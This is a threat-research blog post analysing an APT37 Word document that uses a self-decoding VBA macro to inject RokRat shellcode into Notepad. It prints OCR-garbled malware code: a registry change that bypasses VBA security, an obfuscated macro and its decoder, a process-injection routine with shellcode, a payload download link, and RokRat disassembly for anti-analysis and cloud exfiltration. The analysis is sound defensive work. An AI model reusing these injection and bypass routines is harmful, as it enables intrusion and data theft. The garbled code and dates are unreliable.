Retrohunting APT37: North Korean APT used VBA self
decode technique to inject RokRat
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This post was authored by Hossein Jazi

On December 7 2020 we identified a malicious document uploaded to Virus Total which
was purporting to be a meeting request likely used to target the government of South
Korea. The meeting date mentioned in the document was 23 Jan 2020, which aligns with
the document compilation time of 277 Jan 2020, indicating that this attack took place
almost a year ago.

The file contains an embedded macro that uses a VBA self decoding technique to decode
itself within the memory spaces of Microsoft Office without writing to the disk. It then
embeds a variant of the RokRat into Notepad.

Based on the injected payload, we believe that this sample is associated with APT37. This
North Korean group is also known as ScarCruft, Reaper and Group123 and has been
active since at least 2012, primarily targeting victims in South Korea.

In the past, this APT has relied on Hangul Office documents (hwp files) to target victims,
as it’s software that’s commonly used in South Korea. However, in this blog we describe
an interesting alternative method, delivered via self-decoding VBA Office files. To the best
of our knowledge, this is a first for this APT group.

Document analysis
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The actor used the VBA self-decoding concept in its macro that was first introduced in
2016. A malicious macro is encoded within another that is then decoded and executed

dynamically.
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Figure 1: Malicious document

We can consider this technique an unpacker stub, which is executed upon opening the
document. This unpacker stub unpacks the malicious macro and writes it into the
memory of Microsoft Office without being written to disk. This can easily bypass several

security mechanisms.
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Figure 2: Self decoding technique

Figure 3 shows the macro used by this document. This macro starts by calling the
“liojijbjs” function, and based on the results will take different paths for execution.

Priwvate Sub Document Open ()
On Error GoTo Erreur

Dim isEnabled

isEnabled = 1jojijbis

If i1sEnabled Then

Dim val As String

val = Init(}

If val = "" Then

Exit Sub

End If lf
eviwbe]fkaksd wval
ThisDocument.Saved = True
ghjkjhgyuix ——
fngjksnhokdnfd (1)

ghjkjhgyujx

Dim FileName As String

Dim objWord As Word.Application EISE
Set objWord = CreateObject ("Word.RApplication™)
FileName = ThisDocument.FullName

objWord.Visible = False

objWord.Documents.Open FileName, ReadOnly:=Truﬂ
End If —
Erreur:

Exit Sub

End Sub

Figure 3: Encoded macro

Microsoft by default disables the dynamic execution of the macro, and if an attacker needs
to execute one dynamically—which is the case here—the threat actor needs to bypass the
VB object model (VBOM) by modifying its registry value.

To check if it can bypass the VBOM, it looks to see if the VBOM can be accessed or not.
The “ljojijbjs” function is used for this purpose and checks read access to the
VBProject.VBComponent. If it triggers an exception, it means the VBOM needs to be
bypassed (IF clause). If there is no exception, it means the VBOM is already bypassed and
VBA can extract its macro dynamically (Else clause).
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Private Function ljojijbjs() As Boolean

On Error GoTo Erreur

Dim codeModule As Obiject

Set codeModule = ThisDocument.vBProject.vBComnonentsl
1jojijbjys = True
Ex1t Function
Erreur:
L}jojijbjs = Falsel
End Function

Figure 4: Check VB object model accessibility

“fngjksnhokdnfd” is called with one parameter to bypass VBOM. This function sets the
VBOM registry key to one.

Private Sub fngjksnhokdnfdnewValue As Integer]|q=:==: 1

Dim wsh As Object

Dim regKey As String

Set wsh = CreategObject ("WScript.shell"

Irquey = "HKEY CURRENT USER\Software\Microsoft\Office\"™ & Application.Version & "\Word\Security\AccessVBOM"I

wsh.RegWrite regKey, newValue, "REG_DWORD"
End Sub

Figure 5: Modifying VBOM registry key

After bypassing VBOM, it calls another function which creates a Mutex in the victims’s
machine by calling CreateMutexA API call and names it “mutexname”. This could be used
by the actor to make sure it infects its victim only once but in this document we didn’t
observe any evidence of checking the mutex.

Private Sub ghjkjhgyujx()

hEEMUtEX = CreateMutex (0, 1, "mutexname")
Dim er As Long: er = EBrr.LastDllError
If er <> 0 Then
Application.Displayhlerts = False
Application.Quit

Else

End If

End Sub

Figure 6: Mutex creation

Finally, in order to perform the self-decoding process, it needs to open itself by creating a
new Application object and load the current document in it in invisible mode.

Dim objWord As Word.Application

Set objWord = CreateObject ("Word.Application™)
FileName = ThisDocument.FullName
objWord.Visible = False

objWord.Documents.Open FileName, ReadOnly:=True

Figure 7: Self open
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If VBOM is already bypassed, The function Init is called and generates the malicious
macro content in obfuscated format.

Private Function Init() As String

Dim vCoded As String

vCoded = "gm* bfzcTmO F *" & vbCrLf
vCoded = vCoded & "ajDzBA9Czwhnf" & vbCrLf
wCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
wCoded = vCoded
wCoded = vCoded
wCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
wCoded = vCoded
wvCoded = vCoded

"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfzeObQpOLynnzE Qz" & Chr(34) & "Wnyfnosv" & Chr(34) & "z0AJBpOzhTnGz9izEbf5SH*YRz9izEbfSH*y" & vbCrLf

"acoin" & vbCrLf

"zzzzHy Kp*nzdnFOpynzLIfF* bfz)ObinlpfgonzE Qz" & Chr(34) & "WnyfnOsv" & Chr(34) & "zO0AJBpOzhgQ2nF*z%izEbfS5Rz9izEbf5" & wbCrLf

wCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
wCoded = vCoded
wCoded = vCoded
wCoded = vCoded
wCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
wCoded = vCoded
wCoded = vCoded
wCoded = vCoded

"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfzeObQpOLynnzE Qz™ & Chr(34) & "WnyfnOsv" & Chr(34) & "z0AJBpOzhTnGz9izEbfSH*YRzO9izELESH*y" & VbCrLf

"acfgzjD" & vbCrLf

"Hy Kp*nzwImnz#w9.wxHjoLg" & vbCrLf
"FQz9izEbI5" & vbCrLf
"om.ninyKngz9iz#*y f5" & vbCrLf
"Omdniw*bmz9iz#*y f5" & vbCrLf
"Omw *Onz9iz#*y f5" & vbCrLf
"qP+z9izEbf5" & vbCrLf
"qPlz9izEbf5" & vbCrLf

"qP+# Xnz9%9izEbf5" & vbCrLf

"qP1l# Xnz9izEbf5" & vbCrLf
"gP+)bIf*)hpviz9izEbf5S" & vbCrLf

"zzzzd GzheObQpPOTNGbyJz9izEbfSH*ySz 2z9izEbf5" & vwbCrLf
"zzzzd GzQBpOInz9izAJ*n" & vbCrLf
"zzzzd Gzy.*0.n*Iyfz9izEbfSH*Y" & vbCrLf
"zzzzd GzQjit6A ¥z9izAbbOnpf"™ & vbCrLf
"zzzzajDzU ftézwhnf" & vbCrLf
"zzzzzzzzd GzL#gz%izgQ2nF*" & vbCrLf
"zzzzzzzedn*zL#gz4z) ynp*ngQ2nF*0" & Chr(34) & "#Fy m* £58L On#Ji*nGgQ2nF*" & Chr(34) & "R"™ & vbCrLf
"zzzzzzzed GzP fobPid yzdiz#*y f5" & vbCrLf
"zzzzzzzzP fgbPid yzd4zL#gBen*#mnF pOLbOgny0YR" & vbCrLf
"zzzzzzzzP fobPid yz4zP fgbPid yz=z" & Chr(34) & "\#JiUgUt6\fb*nmpg8n7n" & Chr(34) & vbCrLf
"zzzzzzzz.n*IyfBpOInzdz)ynp*nHybFnii90YSzP fgbPid ySzYSzYSzLpOinSzY¥SzYSzYSzi¥py*SzmybFR"™ & vbCrLf
"zzzzacOin" & vbCrLf
"zzzzzzzz.n*IyfBpOInz4z) ynp*nHybFniis0ysz" & Chr(34) & "fb*nmpgBn7n" & Chr(34) & "SzYS5zYS5zLp0inSzYS5zYSzYSzi*py*SzmybFR" & vbCrLf
"zzzzacfqziD" & vbCrLf
"zzzzHjdz4zmybF8gPHYbFniijd" & vbCrLf
"zzzzjDzHjdzwhnfzhwpySn*HybFlpfgonz4zgmnfHybFniiOH.g) c##_SEE_0))c##SzLpOoinSzHjdRzcOoinzc7 *z4IQ" & vbCrLf
"zzzzqP)banEnfz4z=1,¥Y" & vbCrLf
"zzzzihn009%gqyz4zB y*IpO90ChbFc70hwpySn*HybFlpfqOn5zAJBpOzYSzqgP) bgnEnfSz=1&YYYSzH%c_c+c) chi.cgdU.jch" & vbhCrLf
"zzzzheObQpOTnGbyJz4zeObQpOY0ObFOeTcT Lj+cdSzxAbIfg0ihnOC) bgnrRzMz=16YYR" & vhCrLf
"zzzzLbyz z4zEAbIfg0ihn0O)bgnrRzwbzxAbIfq0ihn00)bgnrR™ & vbCrLf
"zzzzzzzzQBp0Inz4zihnOO)bgnr0 R" & vbCrLf
"zrzzzEZzZy.*0.n*Iyfzdz. *OTbKnTnGbyJ00heCbQpOTNGbyJzMz RSzQBpOInSzrR" & vbCrLf
"zzzzonT*z " & vbCrLf
"zzzzd GzyniIO*Uy *nHybFnii" & vbCrLf
"zzzzyniIO*Uy *nHybFniiz4zUy *nHybFniiTnGbyJOhwpy5Sn*HybFlpfgOnSzihn009qqySzheObQpOTnGhbyJdSzxAbIfg0ihn00)banrRzMzrSzyn*R" & vhCrLE
"zzzzhwhynpgz4z) ynp*n.nGb*nwhynpgOhwpySn*HybFlpfgOnSzAJBpOzYSzYSzihn009qqySz¥SzYSzYR" & vbCrLf
vCoded = wCoded "zzzz) ObinlpfgOnzhwhynpg" & vbCrLf
vCoded = vCoded "cfqz#IQ" & VbCrLf
obfuscated macro

End Function

vCoded = vwCoded
vCoded = wCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = wCoded
vCoded = wCoded
vCoded = wCoded
vCoded = wCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = wCoded
vCoded = wCoded
vCoded = wCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = vCoded
vCoded = wCoded
vCoded = wCoded
vCoded = wCoded
vCoded = vCoded

&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
&
vCoded = vCoded &
&
&

Figure 8: Obfuscated macro

In the next step, this obfuscated macro is passed to “eviwbejfkaksd” to be de-obfuscated
and then executed into memory.

Private Sub eviwbe]fkaksd(encodedStr As String)
Dim strDecode As String

Dim strNameModule As String

|strDecode = glkrnpslmyie (encodedstr) | deobfuscator
Dim nbrLigne As Long

nbrligne = 2

strNameModule = ThisDocument.VBProject.VBComponents.Add (1) .Name a

With ActiveDocument.VBProject.VBComponents (strNameModule) . codeModule Creates new module and writes the
.InsertlLines nbrlLigne, strDeccde deofuscated macro into it

End With

Dim strMacro As String

strMacro = strNameModule & ".main"
pplication.Run (strMacro) Executes the new macro
pplication.VBE.ActiveVBProject.VBComponents.Remove VBComponent:=ActiveDocument.VBProject.VBComponents (strNameModule)
End Sub

Figure 9: De-obfuscator
To de-obfuscate the macro, two string arrays have been defined:

e StringOriginal which contains an array of characters before de-obfuscation
e StringEncoded which contains an array of characters after de-obfuscation

"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfzB y*IpO%0CbFc7zE Qz" & Chr(34) & "wnyfnosv8qgoo" & Chr(34) & "z0AJBpOzhHybFniiz3izEbfSH*ySzom9gayniiz9
"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfzUy *nHybFniiTnGbyJzE Qz" & Chr(34) & "WnyfnO&v" & Chr(34) & "z0AJBpOzhHybFniiz3izEbfSH*ySzAJBpOzOmMADI:
"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfz)ObinlpfgonzE Qz" & Chr(34) & "WnyfnOsv" & Chr(34) & "zO0AJBpOzhgQ2nE*z9izEbESH*YyRz9izELESH*Y" & vbCrL
"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfzgmnfHybFniizE Qz" & Chr(34) & "WnyfnO&v" & Chr(34) & "z0OAJBpOzqPdni yng9FFniiz9izEbf5SzAJBpOzQjfhny *
"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfz.*OTbKnTnGbyJzE Qz" & Chr(34) & "WnyfnO&v" & Chr(34) & "z0AJBpOzdWhfiXb0z%izEbfS5H*ySzAJ.nDzUP5¥5Jz%iz
"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfz)ynp*n.nGb*nwhynpgzE Qz" & Chr(34) & "WnyfnOsav" & Chr(34) & "z0AJBpOzhHybFniiz%izEbfSH*ySzOmwhynpg$**
"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfzeObQpO90ObFZE Qz" & Chr(34) & "WnyfnOsv" & Chr(34) & "z0AJBpOzPLOpSiz9izEbfSH*ySzAJBpOzqgPAJ*niz9izEbf

"zzzzHy Kp*nzdnFOpynzH*y#pDnzLIfF* bfz)ynp*nHybFniiSzE Qz" & Chr(34) & "wnyfnosv" & Chr(34) & "zORJBpOzOMOMmO Fp* bfopGnz9izEbf5SzAJBpOzOmM)!

"zzzzHy Kp*nzdnFOpynzLIfF* bfzB y*IpO900bFc7zE Qz" & Chr(34) & "WnyfnO&vBgOO"™ & Chr(34) & "z0AJBpOzhHybFniiz9izEbf5SzOmSggyniiz®iz9fJSzAJBp
"zzzzHy Kp*nzdnFOpynzLIfF* bfzUy *nHybFniiTnGbyJzE Qz™ & Chr(34) & "WnyfnO&v"™ & Chr(34) & "z0AJBpOzhHybFniiz9izEbf5SzAJBpOzOmApinSggyniizdi

&
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&

&

&

&

&
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&

& "zzzzHy Kp*nzdnFOpynzLIfF* bfzgmnfHybFniizE Qz" & Chr(34) & "WnyfnOsv" & Chr(34) & "z0AJBpOzgPdni yng9FFniiz9izEbf55zAJBp0zQjfhny *1pfqoOnz9
vCoded = vCoded & "zzzzHy Kp*nzdnFOpynzLIfF* bfz.*OTbKnTnebyJzE Qz" & Chr(34) & "wnyfnosv" & Chr(34) & "z0AJBpOzdwWhfixboz9izEbfSH*ySzAJ.nDzUP5%5Jz9iz9fJSzAIB]

& "zzzzHy Kp*nzdnFOpynzLIfF* bfz)ynp*n.nGb*nwhynpgzk Qz"™ & Chr(34) & "wnyfnosv" & Chr(34) & "zO0AJBpOzhHybFniiz9izEbfS5SzOmwhynpgd**y QI*niz9iz

& "zzzzHY Kp*nzdnFOpynzH*y#pDnzLIfF* bfzeObQpO9CObFZE Qz" & Chr(34) & "WnyfnOs&v" & Chr(34) & "z0OAJBpOzPLOpS5iz9izEbf5SzAJBpOzgPAJ*niz9izEbESH*

&

&

&

&

&

&

&

&

&

&

&

&

&

"zzzzHy Kp*nzdnFOpynzLIfF* bfz) ynp*nHybFnii9zE Qz" & Chr(34) & "WnyfnO&v" & Chr(34) & "z0AJBpOzOmSmmO Fp* bfopGnz9izEbf5SzAJBpOzOm)bGGpIgE
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Aloop has been defined to de-obfuscate the macro. For each iteration it takes a character
in the obfuscated macro and looks for its index in StringEncoded. When it finds its index,
it looks for its equivalent index in StringOriginal, takes that character from it and adds it
to the new macro. As an example “gm* bf” as encoded macro will be decoded to “Option”.

Public Function gkrnpslmyie (sString As String) As String

Dim StringOriginal As String

Dim StringEncoded As String

String0riginal = "abcdefghijklmnopgrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 &* (), . #+="
StringEncoded = "pQFgnD5h 2WOGfbmNyi*TIKP7JX9A) dcLel] (kETogHs . #wxBU+13rve6ViC, uyz=r0RS8aM4"
Dim vStringEncoded AsS String

Dim i

Dim jJ

Dim lenEncoded

lenEncoded = Len (StringEncoded)

For i = 1 To Len(sString)

Dim vCharOri As String

[vCharori = Mid(sString, 1, 1)

For J = 1 To Len(3tringEncoded)

Dim wvCharTable As String

vCharTable = Mid(StringEncoded, j, 1)

IT wCharOri = vCharTable Then

vStringEncoded = vStringEncoded & Mid(StringOriginal, j, 1)
EXit For

End If

Next jJ

If § > lenEncoded Then

[vstringEncoded = vStringEncoded & vCharori |

End If

Next i

lgkrnpslmyie = vStringEncoded]|

End Function

Figure 10: De-obfuscation loop

Following this process gives us the final macro that will be executed in the memory space
of Microsoft Office. In order to execute this decoded macro, it creates a module and writes
into it before calling its main function to execute the macro.

The main function defines a shellcode in hex format, and a target process which is
Notepad.exe. Then, based on the OS version, it creates a Notepad.exe process and
allocates memory within its address space using VirtualAlloc. It then writes the shellcode
into the allocated memory using WriteProcessMemory. At the end it calls
CreateRemoteThread to execute the shellcode within the address space of Notepad.exe.
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Sub main()
Const STARTF_USESHOWWINDOW = &HL
Const SW_SHOW
const SW_Hide = 0
Const PROCESS_ALL_ACCESS = &HIFOFFF
Const MEM_COMMIT = &H1000
Const MEM RESERVE = &H2000
Const MEM RESET = &H8000
Const PAGE_EXECUTE READWRITE = &H40
Dim proc As PROCESS_INFORMATION
Dim PID As Long

Dim shellCodel As Variant
hellCodel = Array|(sH55, sHSB, &HEC, &H83, SHEC, sH2C, &HBS, &HAC, &H77, sH26, sH7, sHS3, sH56, &HS7, &HES, &H78, sH1, sHO, sHO, sHBO, sH58, &HA4, &H53, SHES, sHSB, sHDS,
GHES, sH6C, &HL, &HO, &HO, &H6A, &H40, &H68, SHO, §HIO, sHO, sHO, sH68, sHO, &HO, &H10, &HO, &H33, HF6, sH56, SHFF, &HDO,

sHBB, SHES, &HEB, &HT7, &HO, &HO, &HO, &HBS, &HCO, &HTS, &H6C, &HSD, &H45, &HFO, &HC7, &H4S, &HDS, &H68, &H74, &H74, &H70, &HS0, &HC7, &H45, &HDC, &H3A, &H2F, &H2F, &H62

, &HCT, sH45, SHEO, sH69, sH74, sH2E, §H6C, &HC7, &H45, sHE4, H79, &H2F, sH32, SH4E, &HC7, sH45, &HE8, sH70, &H31,

&HES, SHGE, SHC7, &HAS, &HEC, &H68, &HO, §HO, SHO, &HC7, &H45, SHFQ, &H77, &H69, SHGE, §H69, &HC7, &HAS, sHF4, &SHEE, &H65, §H74, SH2E, &HC7, &H4S, SHFS, SH64, SHGC, SH6C

&HO, §HB9, &H75, SHFC, &HFF, &HD3, &HSB, &HD7, &HBD, &H4D, &HDS, SHES, sHD4, &HL, &HO, sHO, &H3D, &HO, &HBO, &H4, &HO, &H73, &H6, &H46, sHB3, &HFE, &H3, &H72, &HES,
&HB3, GHFE, &H3, &H73, &HB, &HED, _

, &H1, §HO, HO, SHEF, sHDO, &HSF, &HSE, &H5B, &HSB, SHES, sHSD, &HC3, &HS5, sHSB, sHEC, sH83, sHE4, &HFS, &H81, SHEC, sHB4, &H1, sHO, &HO, &H53, &H56, &HS7,
&HBO, §HO0, sH35, &HDA, &H9S, &H33, GHFF, SHES, sHC2, sHO, &HO, &HO, &HBY, &H7C, &H31, &H70, &HSE, &H89, &HA4, &H24, SHC, GHES, sHB4, sHO, &HO, &HO, &H6A, &H4, &HSB,
GHDB, GHC7, sH44, &H24, &H14, &H43, _

&H3R, sHSC, sH57, &HC7, &HA4, &H24, GH1B, SH69, SHGE, sH64, &HEF, SHC7, sH44, sH24, &HIC, &H77, &H73, SHSC, &HO, &HSE, &HGB, &HC6, &HB3, SHES, &H1, sH74, &HA9, &HS3,

SHES, &H1, &H74, &H3A, sH83, &HES, &H1, &H74, &HIB, &HB3, &HES, &H1, &H75, &H52, sH21, &HA4, &H24, &H23, &HC7, &HA4, &H24, &HIB, &HSC, &HE1, &HT6, &H70, &HC7, &HA4, &H24

, &HLF, &H2E, &H65, &H78, &H65, GHEB, &H3C, _

SHC7, &H44, &H24, &H1B, &H63, &H6C, &H69, &H73, SHCT, &H44, &H24, GHLF, &H76, &HE3, GH2E, &H6S, &HC7, &H44, sH24, &H23, &H78, &HES, &HO, &HO, GHEB, &H22, &HC7, sH44,
sH24, sHIB, &H6B, &H61, &H76, &H73, sHEB, &HE4, sHC7, sHA4, &H24, sHIB, &H33, sH36, &H30, &H74, &HC7, &HA4, sH24, sHLF, &H72, &H6L, &H79, &H2E, &HC7, sHA4, &H24, &H23,
SH6S, §H7B, &H65, &HO, SHSD, &HA4, sH24, &HS0, _

&HS0, SHBD, &H44, &H24, &H14, &HS0, &HFF, &HS4, sH24, sH14, &HB3, GHES, sHFF, &H74, &H4, &HS50, &H47, &HFF, sHD3, &H4E, &HSS, GHF6, &HF, &HSF, &H78, &HFF, &HFF, &HEF,

&H33, GHCO, §H83, &HFF, &HL, &HSF, GHSE, §HF, GHOF, §HCO, &HSB, &HSB, &HES, &HSD, &HC3, sHSS, &HOB, &HEC, &H63, SHEC, sH14, &H64, &HAl, &H30, GHO, §HO, §HO, &HS3, &HS6,

&HS7, &HSB, §HA0, &HC, &HB9, &H4D, &HFO,

&HBB, §H70, sHC, SHE9, sH89, sHO, &HO, sHO, &HSB, &H46, SH30, sH33, sHC9, sHSB, &HSE, &H2C, sHSB, &H36, &H89, &H4S, sHF4, SHSB, sH42, sH3C, &HB89, &HTS, SHEC, sHSB, &H44,

SHLO, &H78, sHB9, &H4S5, sHFS, &HSS5, &HCO, &H74, &H6B, &HCl, &HEB, &H10, &H33, &HEF, &HO5, &HDB, &H74, &H20, &HOB, &H75, sHF4, &HBA, &H4, &H3E, &HC1, &HC9, &HD, &H3C,
&H6Ll, &HF, &HBE, &HCO, &H7C, &H3, &HB83, sHCL, SHEO, sH3, &HCB, sHA7, sH3B, sHFB, sH72, sHED, sHBB, sH75, sHFC, sH8B, sH45, &HFS, &HEB,

&HTC, §H1O, §H18, &H33, &HDB, &HEB, sH44, SH10, sH20, sH3, &HC2, &HBS, &HTD, &HF4, sH85, sHFF, &H74, SH2F, SHSB, &H30, &H33, sHFF, &H3, &HF2, SH83, &HCO, sH4, &HBO, &HAS

sH50, &H56, &HFF, &HS5S, &HEC, &H3, &H7D, &HFC, &H83, &HTD, &HFC, &HO, &H75, &HEG, &HBB, &HSD, &HEB, &HS6, &HFF, _

&HD3, &HFF, &H75, &HE4, &HFF, &HD3, &HBB, &HC7, &HSF, &HSE, &HSB, &HGB, &HE5, &HSD, &HC3)

Dim start As STARTUPINFO

Dim ReturnValue As LongPtr

Dim ret As Long

Dim hThreadID As Long

start.cb = Len(start)

start.dwFlags = STARTF USESHOWWINDOW

start.wShowWindow = SW_Hide

Dim hGlobalMemory As LongPtr, i As Long

Dim bValue As Byte

Dim rRtlReturn As LongPtr

Dim bIs64Bit As Boolean

#If Winé4 Then
Dim FSO As Object
Set FSO = CreateObject({"sc
Dim windowsDir As String
windowsDir = F50.GetSpecialFolder (0)

WINdoWSDiT = WiNdOWSDiT & "\SySWOWG4\NOTEepad.cxe

Returnvalue = CreateProcessa(0, windowsDir, 0, 0, False, 0, 0, O, start, proc)
#Else

[Returnvalue = CreatePr. A(0, "notepad.exe", 0, 0, False, 0, 0, 0, start, proc)]
#End If

PID = proc.dwProcessiD
If PID Then hTargetProcHandle = OpenProcess(PROCESS ALL ACCESS, False, PID) Else Exit Sub
duCodeLen = §H800
shellAddr = VirtualAllocEx(hTargetProcHandle, ByVal 0, dwCodeLen, &H3000, PAGE EXECUTE_READWRITE)
hGlobalMemory = GlobalAlloc(GMEM FIXED, UBound({shellCodel) + &H400)
For i = LBound(shellCodel) To UBound(shellCodel)
bvalue = shellCodel (i)
rRtlReturn = RtlMoveMemory ( (hGlobalMemory + i), bvalue, 1)
Next i
Dim resultWriteProcess
resultWriteProcess = WriteProcessMemory (hTargetProcHandle, shelladdr, hGlobalMemory, UBound(shellCodel) + 1, ret)
hThread = CreateRemoteThread(hTargetProcHandle, ByVal 0, 0, shelldddr, 0, 0, 0)
CloseHandle hThread
End Sub

Figure 11: De-obfuscated macro

Shellcode analysis (RokRat):

The shellcode injected into Notepad.exe downloads an encrypted payload from
http://bit[.]Jly/2Npienh which is redirected to a Google drive link.
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|GET i2npienh HTTPI1.1]

Client
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
User-Agent: Mozila/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Security
Upgrade-Insecure-Requests: 1
Transport
Connection: keep-alive

Transformer | | Headers | TextView | SyntaxView | ImageView | HexView | WebView | Auth Caching | Cookies | Raw JSON | XML

|HTTPE1_1 301 Moved Permanently

Cache
Cache-Control: private, max-age=90
Date: Thu, 07 Jan 2021 01:39:20 GMT
Cookies / Login
Set-Cookie: _bit=1071Dk-3141a46767c1d299ef-00z; Domain=bit.ly; Expires=Tue, 06 Jul 2021 01:39:20 GMT
Entity
Content-Length: 171
Content-Type: text/html; charset=utf-8
Miscellaneous
Server: nginx
Transport
| Location: https:;’,’drive.google.com,’uc?export=d0wnload&jd=1XQwNeCCVOC—SSP?-iPwDSFGSHitSWSV |
Via: 1.1 google

Figure 12: Download URL

Downloaded payload is a variant of a cloud-based RAT known as RokRat which has been
used by this group since 2017. This sample compilation date is 29 Oct 2019. This RAT is
known to steal data from a victim’s machine and send them to cloud services (Pcloud,
Dropbox, Box, Yandex).

00467f90 https:ffaccount.box. comfapifoauth2/authorize
| 00468130 https:f/api.box.com/2.0ffiles/%s
004680d0 https://api.box. com/2.0ffilesMs/content
00468178 https:/fapi.box.com/2.0ffilesBes/trash
00468390 https:/fapi. box.com/2.0/ffolders/s
| DD4g7fO https:/fapi. box.com/2.0/ffolders/s/items
0046748 https:f/api.box.comfoauth2/token
004685d0 https:/fapi.dropboxapi. com/2/files/delete
00468a38 https://api.pcloud. com/deletefile?path=%s
| 00468980 https://api.pcloud. com/getfilelink?path=%sé&forcedownload=1 &skipfilename=1
004687b8 https:/fapi.pcloud.comfoauth2_token
00468850 https://api.pcloud.comfuploadfile?path=%sé&filename=%s&nopartial=1
00468c08 https://icloud-api.yandex. netivl/disk/resources/download?path="%s
| D0468bES https://cloud-apiyandex. netivl/disk/resources/upload?path=%s&overnrite="%s
00468ac8 https:ficloud-api.yandex netivl/diskiresources?path=%s&permanently="%s
00468748 https:ffcontent. dropboxapi.com/2/files/download
00458628 https://content. dropboxapi.com/2/filesfupload
| 00458800 https:/imy.pcloud.comfoauth2fauthorize
004681c8 https:/jupload. box.comfapif2.0ffilles/content

Figure 13: Encoded cloud services

Similar to its previous variants, it uses several anti-analysis techniques to make sure it is
not running in an analysis environment. Here are some of the checks:
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e Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL and
Sandboxies

e Calling IsDebuggerPresent and GetTickCount to identify a debugger

e Checking VMWare related file

mov esi, ds:GetModuleHandleA
push offset aSbiedl1D1l ; "SbieDll

push offset aDbghelpDll ; "

I:j call esi : GetModuleHandleA

|:‘—| push offset aApilLogDll ; "api_log.dll"
call esi ; GetModuleHandleA

push offset aDirWatchDll ; "dir_watch.dll"
call esi ; GetModuleHandleA

B

push offset tstrFilename ; C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
call ds:GetFileVersionInfoA

Figure 14: Anti-analysis techniques
This RAT has the following capabilities:

Capture ScreenShots
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; unsigned int
; operator new[](uint)
; size t

offset MultiByteStr ; "1@E8535C"

; int

2

byte ptr [edi+45Eh], @

; int
> 1nk

2

offset aPhoSDIpg j " /pho %si%dAjpg“I

EET

i
5
; int

mow large fs:8, eax
push 208088h

call  ??_U@YAPAXI@Z
push 45Eh

mov edi, eax

push

push edi

call _memmove_8

lea ecx, [edi+45Fh]
mov

push [oe

call  sub_1ABA260 |
push dword_1B19518
push dword_1B1951C
lea esi, [eax+45Fh]
lea eax, [ebp+var D8]
push

push eax

call ds zwsprintfil
inc dword_1B19518
lea eax, [edi+esi]
add esp, 24h

mowv [ebp+var E8], @
lea ecx, [ebp+var_EB8]
mow [ebp+var_E4], @
mov [ebp+var_E@], @
push [ebp+var_DC]
push eax

push edi

call sub 1ABB8CAO

Figure 15: Capture screenshots

Sub_1ABA260

Gather system info (Username, Computer name, BIOS)

push ebp
mov ebp, esp
and esp, OFFFFFFF8h
sub esp, 1Ch
push ebx
push esi
push edi
push 2
lea eax, [esp+2Ch+var_18]
mowv [esp+2Ch+var_18], 1
push eax
lea eax, [esp+3B@h+var_14]
mov [esp+3@h+var_C], @
push eax
mowv [esp+34h+var_8], @
mov [esp+3dh+var_4], @
call ds:GdiplusStartup
push offset Buffer ; lpBuffer
push 12Ch ; nBufferLength
call ds:GetTempPathw
mowv esi, ds:GetSystemMetrics
push 5] ; nIndex
call esi ; GetSystemMetrics
push 1 ; nIndex
mov edi, eax
call ds:CreateCompatibleDC|
mow esi, ds:GetDC
mov ebx, eax
push edi o ey
push [esp+2Ch+var_1C] ; cx
push a ; hiind
call esi ; GetDC
push £ax . hdc

I call ds:CreateCompatibleBitmap I
push eax 5
push ebx 5 hde
mowv [esp+30h+ho], eax
call ds:SelectObject
push BCCRe28h ; rop
push 8 syl
push 2 shael.
push 0 ; hlind
call esi ; GetDC
push eax ; hdcsrc
push edi 3oy
push [esp+3Ch+var_1C] ; cx
push 2 Y,
push 0 e
push ebx 3 hdc
call ds:BitBlt
mov edi, [ebp+arg_@]
mov ebx, [esp+28h+ho]
lea eax, [edi+4]
push eax Sxoid *
push eCcx ; int
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push ebp

mov ebp, esp

sub esp, @Ch

lea eax, [ebp+phkResult]

mov [ebp+Type], ©

push eax 5 phkResult
push 1 ; samDesired
nush A - yl10ptions

push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System'

push 80000002h 5 hKey
mov [ebp+cbData], ©
call ds:RegOpenKeyExA
test eax, eax
jnz short loc_ 1ABADGE
% 1
(ol e =]
push esi
mov esi, ds:RegQueryValueExA
lea eax, [ebp+chbData]
push eax ; lpcbData
push 5 ; lpData
lea eax, [ebp+Type]
push eax ;5 1pType
push 5 ; lpReserved
push offset aSystembiosvers ; "SystemBiosVersion®
push [ebp+phkResult] ; hKey
call esi ; RegQueryValueExA
test eax, eax
jnz short loc_ 1ABADO4

Figure 16: Gather BIOS data

Data exfiltration to cloud services
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Fum_aaaaba50(this_oo,&{Egal_lola,
(wchar_t *)L"https://apil.pcloud. com/uploadfile?path=%s&filename=S%s&nopartial=1l");

Uvars = extraout_DLC;
if (param_3[1] != *param_3) {
puVarZ = param_2;
if (7 < (uint)param_2[5]) {
puVarz = (undefined4 *)*param_2;
1
pivarg = param_2 + 4;
if (7 = (uintlparam_2[5]1) {
param_2 = (undefinedd *)*param_ 2;

1
